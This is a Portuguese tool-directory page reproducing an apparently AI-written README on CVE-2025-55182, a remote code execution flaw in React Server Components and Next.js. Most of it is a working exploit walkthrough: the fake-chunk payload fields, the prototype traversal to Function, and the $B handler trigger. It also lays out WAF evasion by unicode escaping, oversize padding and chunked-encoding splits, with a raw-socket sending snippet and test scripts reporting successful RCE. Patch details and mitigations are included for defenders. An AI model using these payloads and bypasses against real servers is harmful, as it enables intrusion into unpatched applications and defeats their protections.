Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/hulh122/cve-2025-55182
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebBypass de WAFAprendizado e EducaçãoDesenvolvimento de Payloads
GitHubhulh122/cve-2025-55182

CVE-2025-55182

Análise técnica detalhada e exploit de prova de conceito para CVE-2025-55182, uma vulnerabilidade crítica de RCE no Flight Protocol do React. Abrange path traversal, fake chunk injection e técnicas de bypass de WAF.

Ver Repositório
2há 8 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-55182 - RCE em Componentes de Servidor React

NOTA: Escrito por IA/Claude

https://github.com/ejpir/CVE-2025-55182-bypass

Resumo

CVE-2025-55182 é uma vulnerabilidade crítica de RCE no Flight Protocol do React. A cadeia de ataque combina path traversal + injeção de chunk falso + abuso do handler $B para executar Function(código_atacante).

Muito obrigado a maple3142 pela cadeia de exploração funcional!


A Exploração

Visão Geral do Ataque

A exploração utiliza três campos de formulário para construir um payload malicioso:

  1. Cria um objeto de chunk falso com then autorreferente (campo 1 $@0 → campo 0)
  • Insere um _response falso com _formData.get definido como $1:constructor:constructor
  • Aciona o handler $B que chama response._formData.get(response._prefix + id)
  • Path traversal resolve _formData.get → Function, executando Function(código)
  • Fluxo de Exploração```

    ┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘

    root@kitploit:~
    ### Componentes Principais
    
    | Componente | Propósito |
    |-----------|---------|
    | `then: "$1:__proto__:then"` | thenable autorreferente; chunk 1 (`$@0`) aponta de volta para chunk 0 |
    | `status: "resolved_model"` | Faz com que o objeto pareça um chunk React válido |
    | `reason: -1` | Define rootReference como undefined (evita conflitos de referência) |
    | `value: '{"then":"$B1337"}'` | Payload aninhado que aciona o manipulador `$B` |
    | `_response._prefix` | Contém a string de código de RCE |
    | `_response._chunks: "$Q2"` | Map vazio para evitar travamentos durante o processamento de chunks |
    | `_response._formData.get` | Aponta para `Function` via `$1:constructor:constructor` |
    
    ### Análise Detalhada dos Componentes
    
    #### Estrutura dos Campos do Formulário
    
    O exploit usa três campos de formulário com referências circulares:```
    Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
    Field 1: "$@0"    ← references back to field 0
    Field 2: []       ← empty array for _chunks Map
    

    Thenable Auto-Referencial (then)

    O then: "$1:__proto__:then" cria uma auto-referência que resolve para uma função real:``` $1:proto:then ↓ $1 → chunk 1 → "$@0" → getChunk(0) → Chunk object ↓ Chunk.proto.then → Chunk.prototype.then (actual function!)

    root@kitploit:~
    **Por que isto é crítico:**
    
    1. `then` resolve para `Chunk.prototype.then` - uma função real e chamável
    2. Isso torna o objeto falso um thenable válido
    3. Quando usado com await, o JS chama `obj.then(resolve, reject)`
    4. `Chunk.prototype.then` executa com o objeto falso como `this`:```javascript
    Chunk.prototype.then = function (resolve, reject) {
      switch (this.status) {  // this.status = "resolved_model" ✓
        case "resolved_model":
          initializeModelChunk(this);  // fake object passed!
    
    1. initializeModelChunk(this) usa this._response - o falso _response do atacante:```javascript value = reviveModel( chunk._response, // ← attacker's fake _response! ... );
    root@kitploit:~
    **Sem a autorreferência**, a `_response` falsa nunca seria usada. A autorreferência faz com que `Chunk.prototype.then` trate o objeto do atacante como um Chunk real.
    
    #### Acionador Thenable de Dois Estágios (`value`)
    
    O campo `value` contém uma string JSON aninhada com outro thenable:```json
    {"then":"$B1337"}
    

    Stage 1: O then auto-referencial do objeto externo aciona o processamento de chunks

    Stage 2: Quando o React resolve o modelo, ele analisa value e encontra outro thenable com then: "$B1337". O prefixo $B aciona o handler:```javascript case "B": return response._formData.get(response._prefix + obj); // obj = "1337"

    root@kitploit:~
    `_formData.get` é `"$1:constructor:constructor"` → `getOutlinedModel()` resolve para `Function`.
    
    Isso se torna: `Function(code + "1337")` → JS válido porque `1337` é apenas uma expressão à direita.
    
    #### Padding Defensivo (`_chunks`)
    
    O `_response` falso precisa de uma propriedade `_chunks` válida para evitar falhas:```
    Form field "2": []           ← empty array
    _chunks: "$Q2"               ← $Q = Map type, creates new Map([])
    

    React's internal code may access response._chunks.get() or response._chunks.has() during processing. An empty Map satisfies these calls without errors, allowing execution to reach the vulnerable $B handler.


    Caminhos de Código Vulneráveis

    CaminhoFunçãoPropósito no Exploit
    Path TraversalgetOutlinedModel()Resolves $1:constructor:constructor → Function
    Injeção de _response FalsoinitializeModelChunk()Usa o chunk._response do atacante
    Manipulador $BparseModelString()Chama _formData.get(_prefix + id) → RCE

    decodeReply() é o ponto de entrada, não vulnerável por si só.

    Path Traversal (getOutlinedModel()):```javascript for (key = 1; key < reference.length; key++) parentObject = parentObject[reference[key]]; // No validation!

    root@kitploit:~
    **Uso de Resposta Falsa** (`initializeModelChunk()`):```javascript
    value = reviveModel(
      chunk._response,  // Uses chunk._response directly!
      { "": rawModel },
      ...
    );
    

    $B Handler RCE (parseModelString()):```javascript case "B": return response._formData.get(response._prefix + obj); // RCE!

    root@kitploit:~
    ---
    
    ## A Correção (19.2.1)
    
    O patch inclui várias correções:
    
    1. **`RESPONSE_SYMBOL` em `initializeModelChunk()`** - Correção crítica   ```javascript
       // BEFORE: chunk._response (attacker can set via JSON)
       value = reviveModel(chunk._response, ...);
    
       // AFTER: Symbol lookup (cannot be forged via JSON)
       var response = chunk.reason[RESPONSE_SYMBOL];
       value = reviveModel(response, ...);
    
    1. hasOwnProperty verificação em getOutlinedModel() - Bloqueia travessia de protótipo ```javascript hasOwnProperty.call(value, name) && (value = value[name]);
      root@kitploit:~
    2. Tratamento de __proto__ em reviveModel() - Previne poluição de protótipo ```javascript void 0 !== parentObj || "proto" === i ? (value[i] = parentObj) : delete value[i];
      root@kitploit:~
    3. Verificação de tipo em initializeModelChunk() - Valida listeners ```javascript "function" === typeof listener ? listener(value) : fulfillReference(response, listener, value);
      root@kitploit:~

    Impacto e Versões

    Avaliação de Impacto

    CapacidadeStatusNotas
    Travessia da cadeia de protótipos✓ ConfirmadoVia $1:constructor:constructor
    Acesso ao construtor de Function✓ ConfirmadoNenhum manifesto necessário
    RCE completo✓ ConfirmadoVia chunk falso + manipulador $B

    Versões Afetadas

    • react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
    • react-server-dom-turbopack: Mesmas versões
    • Next.js: 15.x, 16.x (antes dos patches), canaries a partir de 14.3.0-canary.77+

    Versões Corrigidas

    • React: 19.0.1+, 19.1.2+, 19.2.1+
    • Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7+

    Por Que a Detecção Baseada em Assinaturas do WAF Falha

    Esta seção explica por que as regras tradicionais de correspondência de padrões do WAF não conseguem detectar esta exploração de forma confiável. Compreender essas limitações é essencial para equipes de segurança que avaliam sua postura defensiva.

    O Problema Central: Codificação em Múltiplas Camadas

    O payload da exploração passa por múltiplos analisadores, cada um com suporte a diferentes codificações. Um WAF inspecionando os bytes HTTP brutos vê strings codificadas, mas o servidor as decodifica antes do processamento:

    CamadaAnalisadorDecodifica
    Estrutura JSONJSON.parse()\uXXXX escapes unicode
    Código JavaScriptConstrutor Function()\uXXXX, \xXX, octal, fromCharCode()

    Isso cria uma incompatibilidade fundamental: o WAF vê bytes codificados, mas a aplicação vê strings decodificadas.

    O que as Assinaturas Precisariam Corresponder

    Um WAF ingênuo pode procurar padrões como constructor, __proto__, resolved_model ou child_process. No entanto, o JSON permite escapes unicode para qualquer caractere:

    Padrão LiteralEquivalente UnicodeDetecção do WAF
    constructor\u0063onstructorEvadido
    __proto__\u005f\u005fproto\u005f\u005fEvadido
    resolved_model\u0072esolved_modelEvadido
    $@ (circular ref)$\u0040Evadido

    O código JavaScript dentro do payload tem ainda mais opções de codificação:

    PadrãoOpções de Codificação
    process\u0070rocess, String.fromCharCode(112,114,111,99,101,115,115)
    child_process\x63hild_process, códigos de caracteres numéricos, base64
    Qualquer identificadorNotação de colchetes: this[S(112,114,...)] onde S=String.fromCharCode

    A Lacuna de Detecção

    Quando todas as técnicas de codificação são combinadas:

    • Chaves JSON se tornam sequências unicode (\u0074\u0068\u0065\u006e para then)
    • Identificadores JS se tornam arrays numéricos (S(99,104,105,108,100,95,...) para child_process)
    • O payload bruto contém zero palavras-chave reconhecíveis

    Um WAF escaneando o corpo HTTP vê apenas sequências de escape e números - nada que corresponda a assinaturas de ataque tradicionais.

    Por Que Isso é Importante para Defensores

    1. Regras baseadas em assinaturas fornecem falsa confiança - O payload chega ao servidor sem ser detectado
    2. A codificação é infinita - Cada caractere pode ser escapado de forma diferente; regex não pode enumerar todas as variantes
    3. O ataque está em conformidade com o protocolo - Todas as codificações são JSON/JavaScript válidos de acordo com a especificação

    Considerações sobre Detecção de Cabeçalhos

    O cabeçalho Next-Action identifica requisições de Server Action. Embora os nomes dos cabeçalhos não possam ser codificados em unicode (RFC 7230 exige tokens ASCII), diferenças de normalização entre o WAF e o servidor criam lacunas de detecção:

    VarianteComportamento do ServidorRisco do WAF
    next-action (minúsculas)Aceito (HTTP não diferencia maiúsculas/minúsculas)Não detectado se o WAF espera maiúsculas/minúsculas exatas
    Next-Action:\tx (tab)Aceito (espaços em branco normalizados)Não detectado se o WAF espera espaço
    Next-Action: x (espaços)AceitoNão detectado sem normalização

    Recomendações Defensivas

    A aplicação de patches é a única mitigação confiável. As regras do WAF não conseguem bloquear completamente este ataque devido à flexibilidade de codificação.

    Versões necessárias:

    • React: 19.0.1+, 19.1.2+, 19.2.1+
    • Next.js: 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, 16.0.7+

    Se o patch for adiado, considere:

    1. Decodificar antes de corresponder - O WAF deve decodificar \uXXXX, \xXX e normalizar chamadas fromCharCode() antes da correspondência de padrões
    2. Detecção estrutural - Procure por estruturas JSON contendo _response, _prefix, _chunks ou referências circulares ($@0)
    3. Normalização de cabeçalho - Corresponder ao cabeçalho next-action sem diferenciar maiúsculas/minúsculas e com remoção de espaços em branco
    4. Bloquear Server Actions - Se não estiver usando Server Actions, bloqueie requisições com o cabeçalho Next-Action completamente
    5. Monitoramento em tempo de execução - Alertar sobre chamadas Function() com argumentos de string dinâmicos

    Conclusão principal: A correspondência de padrões sozinha falhará contra esta classe de ataque. A superfície de codificação é muito grande para ser enumerada.


    Bypass dos Limites de Inspeção de Corpo do AWS WAF

    Mesmo com regras abrangentes de WAF, o AWS WAF possui limites de tamanho de inspeção de corpo que podem ser explorados. Esta seção documenta técnicas de bypass testadas usando payloads de tamanho superior.

    Limites de Inspeção de Corpo

    O AWS WAF inspeciona apenas uma parte do corpo da requisição:

    BackendLimite PadrãoMáximo Configurável
    ALB / AppSync8 KB8 KB
    CloudFront / API Gateway16 KB64 KB
    Amazon Cognito / App Runner16 KB64 KB

    O Problema do OversizeHandling

    As regras do WAF especificam como lidar com requisições que excedem os limites de inspeção:

    ConfiguraçãoComportamentoExplorável?
    CONTINUEInspecionar bytes disponíveis, avaliar regraSim - payload após o limite não é inspecionado
    MATCHTratar como correspondente (bloquear)Não - bloqueia requisições de tamanho superior
    NO_MATCHTratar como não correspondenteSim - passa sem bloqueio

    Se sua regra de WAF usa OversizeHandling: CONTINUE (padrão comum), o bypass é trivial.

    Estratégia de Bypass: Preenchimento Antes do Payload

    Coloque dados de preenchimento inofensivos antes do payload de exploração para que fique fora da janela de inspeção:``` ┌─────────────────────────────────────────────────────────────────┐ │ Multipart Form Body │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: padding] 65KB of 'A' characters │ │ ↑ WAF inspects first 8-64KB (sees only this) │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: 0] {"then":"$1:proto:then", ...} │ │ [Field: 1] "$@0" │ │ [Field: 2] [] │ │ ↑ Exploit payload - beyond WAF inspection limit │ └─────────────────────────────────────────────────────────────────┘

    root@kitploit:~
    ### Resultados dos Testes
    
    Todos os payloads de tamanho grande alcançaram RCE com sucesso no Next.js:
    
    | Tamanho do Padding | Corpo Total | Deslocamento do Exploit | Resultado |
    |--------------|------------|----------------|--------|
    | 0 KB | 0.6 KB | 0.4 KB | ✅ RCE |
    | 8 KB | 8.6 KB | 8.4 KB | ✅ RCE |
    | 16 KB | 16.6 KB | 16.5 KB | ✅ RCE |
    | 32 KB | 32.6 KB | 32.5 KB | ✅ RCE |
    | 64 KB | 64.6 KB | 64.5 KB | ✅ RCE |
    | 128 KB | 128.6 KB | 128.5 KB | ✅ RCE |
    
    ### Bypass de Codificação de Transferência em Fragmentos
    
    A codificação de transferência em fragmentos do HTTP/1.1 divide o corpo em fragmentos discretos. Se o WAF inspeciona os fragmentos **antes** da remontagem, padrões que abrangem limites de fragmentos não corresponderão.
    
    #### Como Funciona```
    HTTP Request with Transfer-Encoding: chunked
    
    17f\r\n                           ← Chunk 1 size (hex)
    ...Content-Disposition: form-data; name="1"\r\n\r\n"$
    \r\n
    7b\r\n                            ← Chunk 2 size (hex)
    @0"\r\n------WebKitFormBoundary...
    \r\n
    0\r\n\r\n                         ← Terminator
    

    Padrão dividido entre fragmentos:``` Chunk 1 ends with: ..."$ ← WAF sees "$" alone (no match for $@) Chunk 2 starts with: @0"... ← WAF sees "@" alone (no match for $@)

    root@kitploit:~
    #### Estratégias de Fragmentação Testadas
    
    | Estratégia | Descrição | Resultado |
    |----------|-------------|--------|
    | Dividir em `$@` | `"$` \| `@0"` | ✅ RCE |
    | Fragmentos de 10 bytes | Corpo dividido a cada 10 bytes | ✅ RCE |
    | Fragmentos de 5 bytes | Corpo dividido a cada 5 bytes | ✅ RCE |
    | Dividir em `status` | `sta` \| `tus` | ✅ RCE |
    
    Todas as estratégias alcançaram RCE com sucesso - Next.js remonta corretamente as requisições fragmentadas.
    
    #### Exemplo de Socket Bruto```javascript
    const net = require('net');
    const socket = new net.Socket();
    
    socket.connect(3000, 'localhost', () => {
      // Headers with chunked encoding
      socket.write([
        'POST / HTTP/1.1',
        'Host: localhost:3000',
        'Content-Type: multipart/form-data; boundary=----WebKit',
        'Transfer-Encoding: chunked',
        'Next-Action: test',
        '', ''
      ].join('\r\n'));
    
      // Chunk 1: everything up to and including "$
      const chunk1 = '...payload ending with "$';
      socket.write(`${chunk1.length.toString(16)}\r\n${chunk1}\r\n`);
    
      // Chunk 2: "@0" and rest of payload
      const chunk2 = '@0"\r\n...rest of payload';
      socket.write(`${chunk2.length.toString(16)}\r\n${chunk2}\r\n`);
    
      // Terminator
      socket.write('0\r\n\r\n');
    });
    

    Considerações sobre Comportamento do WAF

    Tipo de WAFManuseio de ChunksPossível Bypass?
    AWS WAF (ALB)Remonta antes da inspeçãoImprovável
    AWS WAF (CloudFront)Remonta antes da inspeçãoImprovável
    Alguns WAFs legadosInspeciona por chunkSim
    Nginx ModSecurityConfigurávelDepende da configuração

    Nota: O AWS WAF geralmente remonta corpos fragmentados antes da inspeção. No entanto, isso deve ser verificado por ambiente, pois as configurações variam.

    Recomendações de Mitigação

    1. Altere OversizeHandling para MATCH ```json "OversizeHandling": "MATCH"
      root@kitploit:~

    Isso bloqueia qualquer requisição que exceda o limite de inspeção quando as condições da regra são atendidas.

    1. Aumentar o limite de inspeção do corpo (apenas CloudFront/API Gateway) Configure até 64 KB nas configurações da ACL web, mas isso não impede completamente a bypass.

    2. Adicionar regra de bloqueio baseada em tamanho Bloqueie requisições POST com o cabeçalho Next-Action excedendo um tamanho razoável (ex.: 10 KB).

    3. Corrigir a aplicação – A única solução completa.

    Scripts de Teste

    Veja os scripts de teste incluídos:

    • test-simple.cjs – Teste de payload base sem chunking
    • test-oversize.cjs – Testa tamanhos de padding de 0 a 128 KB
    • test-chunked-v2.cjs – Chunked transfer encoding com divisão por $@
    • test-chunked-bypass.cjs – Múltiplas estratégias de chunking (5 bytes, 10 bytes, divisões por padrão)

    Uso:```bash

    Start vulnerable Next.js server (port 3000)

    cd nextjs-test && npm run dev

    Run tests

    node test-simple.cjs # Baseline node test-oversize.cjs # Oversize body bypass node test-chunked-v2.cjs # Chunked $@ split node test-chunked-bypass.cjs # All chunking strategies

    root@kitploit:~
    ---
    
    ## Jornada de Pesquisa
    
    ### A Vulnerabilidade: Path Traversal```javascript
    function getOutlinedModel(response, reference, parentObject, key, map) {
      reference = reference.split(":");
      var id = parseInt(reference[0], 16);
      var parentObject = response.chunks[id];
    
      // PATH TRAVERSAL - no hasOwnProperty check!
      for (var key = 1; key < reference.length; key++)
        parentObject = parentObject[reference[key]];  // VULNERABLE!
    
      return map(response, parentObject);
    }
    

    Com o payload "$1:constructor:constructor":

    1. chunk[1]["constructor"] → [Function: Object]
    2. Object["constructor"] → [Function: Function]

    Caminhos Bloqueados que Tentamos

    Embora tenhamos obtido Function, alcançar RCE requer chamá-la com argumentos controlados. Esses caminhos falharam:

    1. Caminho Thenable (Bloqueado)```javascript // Attempt: { then: Function } // When awaited, V8 calls: Function(resolve, reject) // resolve.toString() = "function () { [native code] }" // Result: SyntaxError - invalid parameter name

    root@kitploit:~
    **2. decodeAction Caminho (Bloqueado)**```javascript
    // decodeAction always appends formData:
    // Function.bind(null, "code").bind(null, formData)()
    // = Function("code", "[object FormData]")
    // Result: SyntaxError - "[object FormData]" is not valid JS body
    

    3. Caminho do Iterador (Bloqueado)```javascript // Function.bind(null, code) needs TWO calls to execute // React only calls iterator once // Result: Returns bound function, doesn't execute

    root@kitploit:~
    ### A Descoberta
    
    maple3142 encontrou a peça que faltava: o manipulador `$B` + cadeia de `_response` falsa. Ao fazer `then` resolver para `Chunk.prototype.then` via auto-referência, o `_response` falso é usado, permitindo RCE.
    
    ---
    
    ## Principais Descobertas
    
    1. **A vulnerabilidade `getOutlinedModel()` é real** - Caminhos separados por dois pontos permitem travessia da cadeia de protótipos
    
    2. **O construtor de Function é acessível** - `$1:constructor:constructor` funciona sem serverManifest
    
    3. **RCE é alcançável** - Ao criar um chunk falso com `_response` controlado:
       - Auto-referência `$1:__proto__:then` → `Chunk.prototype.then` faz o `_response` falso ser usado
       - A estrutura do chunk falso imita a classe Chunk interna do React
       - `_response._formData.get` → construtor `Function`
       - `_response._prefix` → string de código malicioso
       - O manipulador `$B` dispara `Function(código_malicioso)`
    
    4. **A correção é abrangente** - Múltiplas verificações `hasOwnProperty` e validações de tipo
    
    ---
    
    ## Referências
    
    - [Gist de maple3142](https://gist.github.com/maple3142) - descoberta da cadeia RCE
    - [Advertência de Segurança do React](https://github.com/facebook/react/security/advisories)
    - [Next.js CVE-2025-66478](https://nextjs.org/blog/cve-2025-66478)
    - [PoC de msanft](https://github.com/msanft/CVE-2025-55182)
    - [react2shell.com](https://react2shell.com)
    - [Regra AWS WAF](https://aws.amazon.com/security/security-bulletins/AWS-2025-030/)
    
    ---
    
    ## Aviso Legal
    
    Este repositório é apenas para **pesquisa educacional e defensiva de segurança**. A vulnerabilidade foi corrigida. Atualize suas dependências imediatamente.
    
    Baixar ferramenta